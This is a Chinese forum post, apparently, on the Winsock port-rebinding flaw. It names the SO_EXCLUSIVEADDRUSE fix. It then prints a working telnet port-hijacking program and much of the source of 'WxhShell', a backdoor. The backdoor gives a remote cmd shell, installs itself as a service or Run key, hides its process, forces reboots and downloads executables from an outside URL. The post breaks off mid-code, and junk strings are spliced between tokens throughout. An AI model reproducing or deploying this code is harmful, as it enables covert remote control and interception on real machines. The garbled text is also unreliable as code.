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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]f>0P3O5& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :eIQF7- {DZ xK( saddr.sin_family = AF_INET; P !I Lji! Q/0oe()) saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]QGo(+
Vfw H: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6!SW]#sD O8~RfB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L{oG'aK4 &ET$ca`j# 这意味着什么?意味着可以进行如下的攻击: -us:!p1T [5]n,toAh 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pj$kSS|m6- k*D8IB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u4$R ZTC fZcA{$Vc]N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }WhRJr`a wVs"+4l< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ^SK!?M z[@i=avPG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SgssNv )Y6\"-M[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rBOH9L Z5
7.+z< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *5{1.7 ~n!&~ #include 11c\C Iu #include >!Xj%RW #include 8`6G_:&X #include 2A:&Cqo DWORD WINAPI ClientThread(LPVOID lpParam); WNt':w^_ int main() j{D tjV8 { m&s>Sn+ WORD wVersionRequested; )+ 'r-AF* DWORD ret; .PV(MV WSADATA wsaData; J*38GX+ BOOL val; \(--$9 SOCKADDR_IN saddr; /pV N1Yt SOCKADDR_IN scaddr; 8nWPt!U: int err; H>},{ z SOCKET s; !a25cm5ys SOCKET sc; \XwC |[%P int caddsize; I;n<)
> HANDLE mt; 5{#s<%b. DWORD tid; =iH9=}aBFC wVersionRequested = MAKEWORD( 2, 2 ); Mdh]qKw
err = WSAStartup( wVersionRequested, &wsaData ); +v$W$s&b-h if ( err != 0 ) { d]:G#<. printf("error!WSAStartup failed!\n"); 3V7WIj< return -1; R+_!FnOJ } pjl>ZoOM saddr.sin_family = AF_INET; e7b MK<:r *Mb'y d/| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v+}${h9 :LlZ#V2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9C=*>I27? saddr.sin_port = htons(23); IZ\fvYp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /DP0K
@% { 8_o~0lb printf("error!socket failed!\n"); gf?N(, return -1; i=1crJ: } i+pQ 7wx val = TRUE; c&,q`_t //SO_REUSEADDR选项就是可以实现端口重绑定的 29CzG0?B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A\W)uwyN { tCm]1ZgRW printf("error!setsockopt failed!\n"); Ftd,dqd return -1; 9|[uie } nA{yH}D4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _!!Fg%a5"R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9_?e, Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e6bh,BwgQq BoST?"&}' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W-gu*iZ6& { DycXJ3eQ ret=GetLastError(); HVhP |+ printf("error!bind failed!\n"); AJE$Z0{q return -1; w^("Pg` } FD&^nJ_{ listen(s,2); J#ClQ% while(1) L[A?W { r;MFVj{ caddsize = sizeof(scaddr); Yi)s=Q : //接受连接请求 :YOo"3.] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t`{T:Tjc if(sc!=INVALID_SOCKET) $4~Z]-38#A { ekU%^R< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (9kR'kr if(mt==NULL) WUo\jm[yr { >\3\&[#" printf("Thread Creat Failed!\n"); Ok|Dh;1_ break; (CgvI*O } bar=^V) } k#u)+e.' CloseHandle(mt); D6|-nl } F3]VSI6^E, closesocket(s); nm& pn*1 WSACleanup(); MB $aN': return 0; ,hT.Ok={36 } k`A39ln7wu DWORD WINAPI ClientThread(LPVOID lpParam) Sk1t~ { f8aY6o"i SOCKET ss = (SOCKET)lpParam; f$n5$hJlQ SOCKET sc; U djYRfk unsigned char buf[4096]; Dte5g),R SOCKADDR_IN saddr; HyOrAv
< long num; `CC=?E DWORD val; -ucgET` DWORD ret; E`V\/`5D //如果是隐藏端口应用的话,可以在此处加一些判断 ;,e16^\' & //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 B /w&Lo saddr.sin_family = AF_INET; F?05+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x#N_h0[i saddr.sin_port = htons(23); RPte[tq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -`eB4j'7 { B2P@9u|9 printf("error!socket failed!\n"); (Nk[ys}%* return -1; P9f`<o } 2<y9xvp val = 100; |#M|"7;2z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a'/i/@h { u%+k\/Scp. ret = GetLastError(); k4hk*
0Jq return -1; +xU( {/ } l"1D'Hk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rUmP_ { FMI1[|:; ret = GetLastError(); \!BVf@>p% return -1; 1^E5VG1[ } Mqvo
j7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f7][#EL { i}P{{kMJ printf("error!socket connect failed!\n"); ;RX u}pd closesocket(sc); v=0G&x=/ closesocket(ss); m&gB;g3: return -1; ]d@>vzCO } 3X1 1Gl while(1) R3l{.{3p2 { 7`&ISRU4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l
v hJ //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xa.8-a"hz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {,+c num = recv(ss,buf,4096,0); ^.\O)K {h if(num>0) M}# DX=NZc send(sc,buf,num,0); uf9&o# else if(num==0) QDV+( break; PnaiSt9p?r num = recv(sc,buf,4096,0); kaB4[u if(num>0) %K-8DL8|( send(ss,buf,num,0); ?6&8-zt1? else if(num==0) F]UH\1 break; Z[d13G; } 'ScvteQ closesocket(ss); A)>#n) closesocket(sc); )%MC*Z:^ return 0 ; t(-,mw } zU+q03l8Ur 0
}od Q# QAp]cE1ew ========================================================== xlu4 n+hL/aQ+ 下边附上一个代码,,WXhSHELL \|HNFx T` .6azUD4 ========================================================== <?5|(Q"@: C-;w}
#include "stdafx.h" L*[3rqER Yg3nT:K_Y& #include <stdio.h> U4\v~n\ #include <string.h> J;8d-R5 #include <windows.h> nWY^?e'S #include <winsock2.h> M?%x=q\< #include <winsvc.h> 9g5h~Ma #include <urlmon.h> [i ~qVn2vT ?zm]KxIC #pragma comment (lib, "Ws2_32.lib") lYJSg70P #pragma comment (lib, "urlmon.lib") _3yG<'f[Y Z9+fTT #define MAX_USER 100 // 最大客户端连接数 ?`rAO#1 #define BUF_SOCK 200 // sock buffer -|uoxj> #define KEY_BUFF 255 // 输入 buffer `>)Ge](oN !Vw1w1 #define REBOOT 0 // 重启 ChG7>4:\ #define SHUTDOWN 1 // 关机 jd-]q2fQ| {DQ%fneN4 #define DEF_PORT 5000 // 监听端口 8mKp PwG0 o5?Y
#define REG_LEN 16 // 注册表键长度 D4[t^G;J #define SVC_LEN 80 // NT服务名长度 {ptHk<K:) @e
GBF
Ns // 从dll定义API aYb97}kI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DJ:'<"zH7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); poxF`a6e+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GgG#]a!_f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pcwYgq#5 t'Wv?, // wxhshell配置信息 }\?9Prsd struct WSCFG { {XmCG%%L int ws_port; // 监听端口 4F6aPo2 char ws_passstr[REG_LEN]; // 口令 ebQgk
Y= int ws_autoins; // 安装标记, 1=yes 0=no oIj=ba(n1 char ws_regname[REG_LEN]; // 注册表键名 3^+D,)#D^ char ws_svcname[REG_LEN]; // 服务名 (;},~( 2B char ws_svcdisp[SVC_LEN]; // 服务显示名 IUFc_uL@\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 /GC&@y0yi char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F9u?+y-xb int ws_downexe; // 下载执行标记, 1=yes 0=no h7UNmwj char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" >9dD7FH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !
I0xq" 7}UG&t{ }; JN|6+.GG 1d<Uwb> // default Wxhshell configuration j/*1zu8Y struct WSCFG wscfg={DEF_PORT, *b.
> "xuhuanlingzhe", YiDO V) 1, '6 F-% "Wxhshell", bT^dtEr[ "Wxhshell", WqCC4R,- "WxhShell Service", Xi98:0<= "Wrsky Windows CmdShell Service", 0yI1r7yNB+ "Please Input Your Password: ", hcj}6NXc 1, tO3R&"{ " http://www.wrsky.com/wxhshell.exe", )_=2lu3%{ "Wxhshell.exe" ~(QfVpRnV= }; K8sRan[4} ~I@lsCh // 消息定义模块 p/HDG
^T:u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2H)4}5H char *msg_ws_prompt="\n\r? for help\n\r#>"; 7PX`kI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,
,{UGe3 char *msg_ws_ext="\n\rExit."; 73D<wMgZF char *msg_ws_end="\n\rQuit."; mOsp~|d char *msg_ws_boot="\n\rReboot..."; =Nxkr0])! char *msg_ws_poff="\n\rShutdown..."; WQ.0} n}d char *msg_ws_down="\n\rSave to "; 0<-E)\:[g F+V!p4G char *msg_ws_err="\n\rErr!"; 0+* NHiH char *msg_ws_ok="\n\rOK!"; pi?MAE*f J{1H$[W~} char ExeFile[MAX_PATH]; -V|"T+U int nUser = 0; %'=*utOxy HANDLE handles[MAX_USER]; 0
Uropam int OsIsNt; o3 fc - "s(~k SERVICE_STATUS serviceStatus; 00QJ596 SERVICE_STATUS_HANDLE hServiceStatusHandle; KkA)p/ lb-1z]YwQ // 函数声明 l?U=s7s0? int Install(void); bx8](cT_ int Uninstall(void); 4VwF\ int DownloadFile(char *sURL, SOCKET wsh); m0"K^p int Boot(int flag); |1~n<=`Z void HideProc(void); 'p&,'+x int GetOsVer(void); #hZ$;1. int Wxhshell(SOCKET wsl); 6:7[>|okQ void TalkWithClient(void *cs); K
-U}sW int CmdShell(SOCKET sock); ,_Z(!|
rW int StartFromService(void); go uU int StartWxhshell(LPSTR lpCmdLine); >%j%Mj@8q| >1Z"5F7= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?BnU0R_r] VOID WINAPI NTServiceHandler( DWORD fdwControl ); (j&: -Z"4W // 数据结构和表定义 ZD]1C~) SERVICE_TABLE_ENTRY DispatchTable[] = "La;$7ds { R-13DVK {wscfg.ws_svcname, NTServiceMain}, f<Hi=Qpm {NULL, NULL} ^a4z*#IOr }; x;n3 Zr;( D(AH3`*|# // 自我安装 6}"c4^k6 int Install(void) t;e&[eg { M6)
G_- char svExeFile[MAX_PATH]; lM6pYYEq= HKEY key; L(Y1ey9x strcpy(svExeFile,ExeFile); ai{>rO3 }I f2i:I1 p(" // 如果是win9x系统,修改注册表设为自启动 08`|C)Z! if(!OsIsNt) { #Vq9 =Q2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BNu >/zGpB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0ns\:2)cEB RegCloseKey(key); a#YK1n[! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zfeT>S+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d~LoHp RegCloseKey(key); .,bpFcQ return 0; *;Jb= } ZSC*{dD$E } cMw<3u\ } g^'h4qOa else { ,&P
4%N" <+roY" // 如果是NT以上系统,安装为系统服务 ->sxz/L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~dYCY_a if (schSCManager!=0) $C4~v { I\~[GsDY SC_HANDLE schService = CreateService `^bP9X_a ( cm< #zu3~S schSCManager, s,HbW%s wscfg.ws_svcname, XcVN{6-z wscfg.ws_svcdisp, gq7tSkH@ SERVICE_ALL_ACCESS, u,sR2&Fe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :GXF=Df SERVICE_AUTO_START, D|:'|7l W SERVICE_ERROR_NORMAL, r;#"j%z svExeFile, !6!)H8rX NULL, _fHC+lwN NULL, B/twak\ NULL, bdg6B7%Q NULL, ^#9385 NULL zBF~:Uc`B ); u_(~zs.N] if (schService!=0) uU H4vUa { `JySuP2~/ CloseServiceHandle(schService); XB)D".\ CloseServiceHandle(schSCManager); $|N6I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M.W
X&;> strcat(svExeFile,wscfg.ws_svcname); T
ozx0??) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (bsx|8[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U"PcNQy RegCloseKey(key); (2g
a:}K return 0; )4yP(6|lx } 8dGsV5" * } X0/slOT CloseServiceHandle(schSCManager); NJUKH1lIhR } `Ij@;=( } ^q:-ZgM> (jT)o,IW& return 1; Y6` xb` } 6 d-\+t8 4&iQo' // 自我卸载 sy: xA w int Uninstall(void) 4Yj1Etq.E { n5:uG'L\ HKEY key; 5S~ H[>A" <!OBpAq if(!OsIsNt) { ]I?.1X5d0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uO%0rKW RegDeleteValue(key,wscfg.ws_regname); SyWZOE%p RegCloseKey(key); :gVUk\) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I'/3_AX RegDeleteValue(key,wscfg.ws_regname); bJ~H RegCloseKey(key); DB'v7
Ij0 return 0; 9]4Q@% } sPH2KwEv } 3SVGx<,2 } Br1R++] else { T[oC='I+O pSs*Z6c)@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pgU[di if (schSCManager!=0) acd[rjeT { A;oHji#* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ci0A!wWD if (schService!=0) Q]ersA8 V> { |Y9>kXM l if(DeleteService(schService)!=0) { i'IT,jz! CloseServiceHandle(schService); slQn CloseServiceHandle(schSCManager); c_J9CKqc return 0; u` pTFy } %yR XOt2( CloseServiceHandle(schService); "Xq_N4 } }w0pi CloseServiceHandle(schSCManager); r&gvP|W% } kSAVFzUS } BoD{fg 2HX/@ERhmu return 1; 0SQ!lr } ~ao:9ynY YQBLbtn6( // 从指定url下载文件 V6]6KP#D int DownloadFile(char *sURL, SOCKET wsh) [Vd$FDki { X1j8tg HRESULT hr; iT]t`7R char seps[]= "/"; }vndt*F
char *token; ;%tFi char *file; odv2 (\ char myURL[MAX_PATH]; &K ~k'P~m char myFILE[MAX_PATH]; &g`IRz m,.Y:2?*V strcpy(myURL,sURL); ]aX@(3G1s token=strtok(myURL,seps); $:9t(X)H while(token!=NULL) c*bvZC^6 { je] DR~ file=token; {bj!]j token=strtok(NULL,seps); #<{v~sVp& } MIMC(< X/5m}-6d] GetCurrentDirectory(MAX_PATH,myFILE); `#""JTA" strcat(myFILE, "\\"); i]8O?Ab>? strcat(myFILE, file); zakhJ send(wsh,myFILE,strlen(myFILE),0); dlu*s(O" send(wsh,"...",3,0); ?qh-#,O9B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "{q#)N if(hr==S_OK) #{i*9' return 0; !_fDL6a- else WAu>p3
return 1; NxP(&M( &:&'70Ya } lC<;Q*Y 'zyw-1 // 系统电源模块 i|:!I)(lh int Boot(int flag) e3I""D{)[= { 6v`3/o HANDLE hToken; GZ%vFje_
K TOKEN_PRIVILEGES tkp; -/f$s1 *+M#D^qo if(OsIsNt) { {j2V k)\[i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mLCDN1UO{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0ho;L 0Nr' tkp.PrivilegeCount = 1; U^m#!hp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [WwoGg*)mn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'l*X?ccKy if(flag==REBOOT) { H& |/|\8F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %>Kba M1b return 0; pMfb(D" } wQxI({k@ else { 1@]&iZ] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )[rVg/m return 0; C'6I< YX } '$ei3 } YxF@1_g else { wgl <JO if(flag==REBOOT) { )Sn0Y B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WzIUHNn'I return 0; ^rWg:fb } atL<mhRz else { BP/nK. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p2vN=[g9) return 0; J%"BCbxW~B } 0|&@)` } @MSmg3& C- .;m return 1; F#Lo^ 8 } br I;}m 80lei // win9x进程隐藏模块 '*J+mZt N void HideProc(void) BJ|l { fU>l:BzJK
&@iOB #H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nFnM9
pdMK if ( hKernel != NULL ) u\\t~<8 { Hw \of pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $/wm k7T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e]4$H.dP
FreeLibrary(hKernel); 2<D| { } $ XjijD9R \n<!
ld return; VLuHuih } erH,EE^-x< )/RG-L // 获取操作系统版本 4'QX1p int GetOsVer(void) x|O7}oj { v,w af`)J OSVERSIONINFO winfo; Giyh( DL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {&5lZ<nu8A GetVersionEx(&winfo); m8sd2&4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .}==p&( return 1; f-%M~: else QjTSbHtH return 0; /U;j-m& } &'uP?r9c$ '=dQ$fs // 客户端句柄模块 7FC!^)x1 int Wxhshell(SOCKET wsl) ,Lig6Z` { |ADf~-AY SOCKET wsh; 8t!jo.g struct sockaddr_in client; D$l!lRu8+L DWORD myID; sq|\!T ^{M$S0g|N while(nUser<MAX_USER) P:{Aqn~zR { WvfP9(- int nSize=sizeof(client); (*S<2HN5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Am,{Fj if(wsh==INVALID_SOCKET) return 1; +?J N_aR )Zq'r L< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A@V$~&JCL5 if(handles[nUser]==0) g,,wG k closesocket(wsh); ?fxM1<8 else g89@>?Mn nUser++; h>pu^ `hk } :-?ZU4) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tg{5%~L] Q yqOtRk return 0; M@[W"f
Wq } :\^b6"}8 D ,kxB~ // 关闭 socket #`iEb iSq void CloseIt(SOCKET wsh) HE&)N
clY { Fm`*j/rq closesocket(wsh); N@d~gE&^ nUser--; ~/rD_K ExitThread(0); Spn[:u @ } 24J c`%7,= p%DU1+SA // 客户端请求句柄 $hm[x$$ void TalkWithClient(void *cs) QuR}6C { cL9gaD$;) $Cz2b/O SOCKET wsh=(SOCKET)cs; s#^0[ Rt char pwd[SVC_LEN]; tVG;A&\,6 char cmd[KEY_BUFF]; 1KZigeHXI char chr[1]; ?UsCSJ1V int i,j; z~t0l VeQGdyhY while (nUser < MAX_USER) { z/\OtYz Mt.Cj;h@^[ if(wscfg.ws_passstr) { /43l}6I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e]~p: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ph^1Ko"2 //ZeroMemory(pwd,KEY_BUFF); u+8"W[ZULq i=0; $gr>Y2i while(i<SVC_LEN) { i^DMnvV. [FBS|v#T // 设置超时 k[f2`o= fd_set FdRead; 7r;16" struct timeval TimeOut; J4+K)gWB FD_ZERO(&FdRead); ]'5Xjcx FD_SET(wsh,&FdRead); KElEGW TimeOut.tv_sec=8; L-9fo- TimeOut.tv_usec=0; CcQc!`YC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )0/9
L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /9br &s$B r^m&<)Ca if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m!ZY]:)$ pwd =chr[0]; bMKX9`*o if(chr[0]==0xd || chr[0]==0xa) { qSP&Fi pwd=0; 0OO[@Ht break; "qgwuWbM } :i&]J$^; i++; ,7d/KJ^7 } F^GNOD3J $b`nV4p // 如果是非法用户,关闭 socket c^I^jg2v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bz/ba * } 7(}'jZ Y"lEMY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PhyIea send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 35l%iaj]G5 BL&AZv/T while(1) { ]W;6gmV wN.S] ZeroMemory(cmd,KEY_BUFF); '8]p]#l ]hV!lG1_ // 自动支持客户端 telnet标准 UOb`@# j=0; fg LY{ while(j<KEY_BUFF) { M
P8Sd1_= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hs)Cf)8u cmd[j]=chr[0]; /3M8;>@u if(chr[0]==0xa || chr[0]==0xd) { '>
ib
K| cmd[j]=0; b? o break; lk>\6o: } ]EKg)E j++; [gT}<W } Ba[,9l[ W yM1s+@ // 下载文件 Xf4~e(O if(strstr(cmd,"http://")) { loIb}8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); a <C?- g| if(DownloadFile(cmd,wsh)) JOuyEPy send(wsh,msg_ws_err,strlen(msg_ws_err),0); opH!sa@U else !JXiTI! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5,
$6mU#= } H$Kc~#= else { oMN<jAU. v#x`c_ switch(cmd[0]) { <8}FsRr;J eN<L)a:J_ // 帮助 MsXw
8D case '?': { nYSe0w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :.5l break; ) (YNNu } l7g'z'G // 安装 ~vA{I%z5~ case 'i': { !S=YM<A d if(Install()) \2kLj2! send(wsh,msg_ws_err,strlen(msg_ws_err),0); HF0G=U}i else JaUzu3*= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^TeV= break; :EOai%i } Jw _>I // 卸载 'Ou C[$Z case 'r': { .=;IdLO,Bf if(Uninstall()) %>$<s<y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?JZ$M else >eA@s}_8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wh i#Ii~ break; 9:p-F+ } Aax;0qGbH // 显示 wxhshell 所在路径 l~"T>=jq3 case 'p': { SAdT#0J char svExeFile[MAX_PATH]; 2
`>a( strcpy(svExeFile,"\n\r"); BP9#}{kE strcat(svExeFile,ExeFile); %rb$tKk send(wsh,svExeFile,strlen(svExeFile),0); 9nN1f@Y break; 36{GZDGQ } >[Vc$[62 // 重启 &Pb:P?I case 'b': { J$51z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N`Q.u-' if(Boot(REBOOT)) 8</wQ6&| send(wsh,msg_ws_err,strlen(msg_ws_err),0); =dPokLXn else { {R ),7U8 closesocket(wsh); k7iko{5D ExitThread(0); |^l_F1+w } {V/>5pz4e break; \Wfw\x0. } [uU!\xe // 关机 AY5iTbL1 case 'd': { Y5tyFi#w[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ai-s9r'MI? if(Boot(SHUTDOWN)) 7}VqXUwabx send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3`cA!ZVQ else { GCJ[x n(_ closesocket(wsh); srf}+>u& ExitThread(0); N#l2wT } ?)1Y|W'Rv break; xoo,}EY } I Id4w~| // 获取shell FL{?W (M case 's': { 44}5o CmdShell(wsh); f7a4E+} closesocket(wsh); gbuh04#~ ExitThread(0); Jx5`0? break; J> } YHEn{z7 // 退出 i#V(oSx case 'x': { tq59w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s A,bR| CloseIt(wsh); 1x|3|snz) break; &MSU<S?1 } lBbb7*Ljt< // 离开 P)K$+oo case 'q': { nq{/fD(2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); dO82T3T closesocket(wsh); _P.I+!w:x WSACleanup(); wS}c\!@<, exit(1); :$"{-n break; Y_CVDKdcY } V^,gpTyv* } _4N.]jr5 } mU-2s%X<.^ w5 . ^meU // 提示信息 G[mqLI{q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lyhuyb)k5^ } ~W21%T+ } -UkK$wP5 c;kU|_ return; m,Y/ke\ } `0NU
c)` /u$'=!<b; // shell模块句柄 ==[(Mn,%d int CmdShell(SOCKET sock) J|BElBY { X d+H()nR STARTUPINFO si; vb=]00c ZeroMemory(&si,sizeof(si)); ~Y/A]N86, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Em(_W5
ND{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 57q= PROCESS_INFORMATION ProcessInfo; kK=VG<
:M char cmdline[]="cmd"; ;}+M2Ec51 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8@rYT5e3c return 0; ceG\Q2 } hH`x*:Qja iI<c // 自身启动模式 .u)KP*_ int StartFromService(void) |Ml~Pmpp { r)|~Rs!y, typedef struct LWM<[8wJ4 { ya&=UoI DWORD ExitStatus; WkuCnT DWORD PebBaseAddress; jOV6% DWORD AffinityMask; XKTDBaON DWORD BasePriority; {}$rN@OM$ ULONG UniqueProcessId; "\@J0|ppb ULONG InheritedFromUniqueProcessId; Ve(<s
} PROCESS_BASIC_INFORMATION; dCoP
